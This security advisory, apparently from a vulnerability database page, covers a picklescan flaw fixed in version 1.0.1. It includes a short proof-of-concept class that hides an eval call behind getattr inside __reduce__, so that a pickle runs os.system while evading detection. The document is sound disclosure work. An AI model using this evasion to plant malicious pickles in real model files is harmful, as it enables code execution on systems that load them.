picklescan missing detection by simple obfuscation of a `builtins.eval` call
Summary
An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.
Details
It's possible to hide the eval call nested under another callable via getattr.
PoC
import builtins
class EvilClass:
@staticmethod
def _obfuscated_eval(payload):
getattr(builtins, "eval")(payload)
def __reduce__(self):
payload = "__import__('os').system('echo \"successful attack\"')"
return self._obfuscated_eval, (payload,)Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | picklescan | < 1.0.1 | 1.0.1 |
Referencias
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9m3x-qqw2-h32h
- https://nvd.nist.gov/vuln/detail/CVE-2026-53874
- https://github.com/mmaitre314/picklescan/pull/59
- https://github.com/mmaitre314/picklescan/commit/173c8f2a869ea9b69b543477525ec70611c3c6f4
- https://github.com/mmaitre314/picklescan
- https://github.com/mmaitre314/picklescan/releases/tag/v1.0.1
- https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-obfuscated-eval-call
- https://pypi.org/project/picklescan
- https://github.com/advisories/GHSA-9m3x-qqw2-h32h
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P- Debilidad (CWE)
CWE-502- Plataforma
- Python (PyPI)
- Paquete
picklescan- Publicada
- 02.02.2026
- Actualizado
- 11.10.2026 13:18
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-1789 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9m3x-qqw2-h32h - CC BY 4.0
Historial de vulnerabilidades: picklescan
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 58
- Primera → última
- 02.2025 03.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 7
- Alta 25
- Media 26
Divulgaciones por año
- 2025: 51
- 2026: 7
-
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